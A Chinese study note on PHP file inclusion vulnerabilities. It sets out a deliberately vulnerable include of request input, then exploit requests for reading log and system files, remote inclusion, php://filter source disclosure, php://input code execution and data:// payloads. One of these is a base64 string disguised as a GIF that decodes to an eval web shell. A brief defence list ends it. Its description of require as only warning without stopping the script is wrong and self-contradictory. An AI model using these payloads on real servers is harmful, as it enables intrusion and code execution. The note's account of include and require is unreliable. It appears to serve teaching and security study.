【笔记】PHP的文件包含漏洞
前言
PHP的文件包含漏洞
文件包含语句
include
- 可以包含相同文件多次
- 当引入失败后,后面的代码能正常执行
<file_php>:其他php文件
1 | include "<file_php>"; |
1 | include("<file_php>"); |
include_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,后面的代码能正常执行
1 | include_once "<file_php>"; |
1 | include_once("<file_php>"); |
require
- 可以包含相同文件多次
- 当引入失败后,不会结束脚本运行,只是产生警告,后面的代码不能正常执行
1 | require "<file_php>"; |
1 | require("<file_php>"); |
require_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,直接结束脚本运行,后面的代码不能正常执行
1 | require_once "<file_php>"; |
1 | require_once("<file_php>"); |
包含漏洞的文件包含语句
1 | include $_REQUEST['key']; |
漏洞利用
通过文件路径读取文件
1 | GET http://127.0.0.1:80/index.php?key=<file> |
| 日志文件路径 | 备注 |
|---|---|
/var/log/apache/access.log |
Apache访问日志 |
/var/log/apache/error.log |
Apache报错日志 |
/var/log/vsftpd.log |
FTP服务日志 |
/var/log/sshd.log |
SSH服务日志 |
/var/log/mail |
邮件日志 |
通过HTTP协议读取网页
漏洞利用前提
1 | allow_url_include=On |
漏洞利用
1 | GET http://127.0.0.1:80/index.php?key=http://<domain> |
通过file协议读取文件
1 | GET http://127.0.0.1:80/index.php?key=file://<file> |
通过data伪协议读取文件
漏洞利用前提
- PHP > 5.2
1 | allow_url_include=On |
漏洞利用
1 | GET http://127.0.0.1:80/index.php?key=data://text/plain,<?php echo($_REQUEST["key"]); ?> |
1 | GET http://127.0.0.1:80/index.php?key=data://text/plain;base64,PD9waHAgZWNobygkX1JFUVVFU1RbImtleSJdKTsgPz4= |
1 | GET http://127.0.0.1:80/index.php?key=data:image/gif;base64,R0lGODlhCjw/cGhwIGV2YWwoJF9SRVFVRVNUWyJrZXkiXSk7ID8+Cg== |
通过PHP伪协议读取文件
- 读取Base64编码后的文件内容
1 | GET http://127.0.0.1:80/index.php?key=php://filter/read=convert.base64-encode/resource=<file> |
通过PHP伪协议执行PHP代码
漏洞利用前提
1 | allow_url_include=On |
漏洞利用
1 | POST http://127.0.0.1:80/index.php?path=php://input |
防御
- 合理配置
allow_url_include和allow_url_fopen - 配置
open_basedir - 严格过滤
.、\、/